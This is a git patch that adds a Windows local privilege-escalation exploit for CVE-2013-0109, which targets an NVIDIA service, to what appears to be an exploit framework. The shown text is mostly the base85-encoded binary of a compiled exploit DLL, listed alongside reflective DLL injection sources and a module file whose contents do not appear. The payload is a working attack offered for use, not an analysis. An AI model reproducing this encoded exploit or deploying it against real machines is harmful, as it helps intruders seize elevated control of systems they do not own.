From c6623b380ad6e87837147f16d001f0194f8b0e0e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 5 Jul 2013 19:48:27 +0100 Subject: [PATCH] Initial commit --- data/exploits/CVE-2013-0109/exploit.dll | Bin 0 -> 52224 bytes .../source/exploits/cve-2013-0109/LICENSE.txt | 25 + .../source/exploits/cve-2013-0109/Readme.md | 40 ++ .../cve-2013-0109/dll/reflective_dll.sln | 20 + .../cve-2013-0109/dll/reflective_dll.vcproj | 357 ++++++++++++ .../cve-2013-0109/dll/reflective_dll.vcxproj | 266 +++++++++ .../dll/reflective_dll.vcxproj.filters | 32 ++ .../dll/reflective_dll.vcxproj.user | 3 + .../dll/src/ReflectiveDLLInjection.h | 51 ++ .../cve-2013-0109/dll/src/ReflectiveDll.c | 32 ++ .../cve-2013-0109/dll/src/ReflectiveLoader.c | 496 ++++++++++++++++ .../cve-2013-0109/dll/src/ReflectiveLoader.h | 203 +++++++ .../cve-2013-0109/dll/src/exploit.cpp | 537 ++++++++++++++++++ .../source/exploits/cve-2013-0109/rdi.sln | 32 ++ .../exploits/windows/local/nvidia_nvvsvc.rb | 115 ++++ 15 files changed, 2209 insertions(+) create mode 100644 data/exploits/CVE-2013-0109/exploit.dll create mode 100644 external/source/exploits/cve-2013-0109/LICENSE.txt create mode 100644 external/source/exploits/cve-2013-0109/Readme.md create mode 100644 external/source/exploits/cve-2013-0109/dll/reflective_dll.sln create mode 100644 external/source/exploits/cve-2013-0109/dll/reflective_dll.vcproj create mode 100644 external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj create mode 100644 external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.filters create mode 100644 external/source/exploits/cve-2013-0109/dll/reflective_dll.vcxproj.user create mode 100644 external/source/exploits/cve-2013-0109/dll/src/ReflectiveDLLInjection.h create mode 100644 external/source/exploits/cve-2013-0109/dll/src/ReflectiveDll.c create mode 100644 external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.c create mode 100644 external/source/exploits/cve-2013-0109/dll/src/ReflectiveLoader.h create mode 100644 external/source/exploits/cve-2013-0109/dll/src/exploit.cpp create mode 100644 external/source/exploits/cve-2013-0109/rdi.sln create mode 100644 modules/exploits/windows/local/nvidia_nvvsvc.rb diff --git a/data/exploits/CVE-2013-0109/exploit.dll b/data/exploits/CVE-2013-0109/exploit.dll new file mode 100644 index 0000000000000000000000000000000000000000..4600b48bf586e883978e45b55d28f858d26660b5 GIT binary patch literal 52224 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 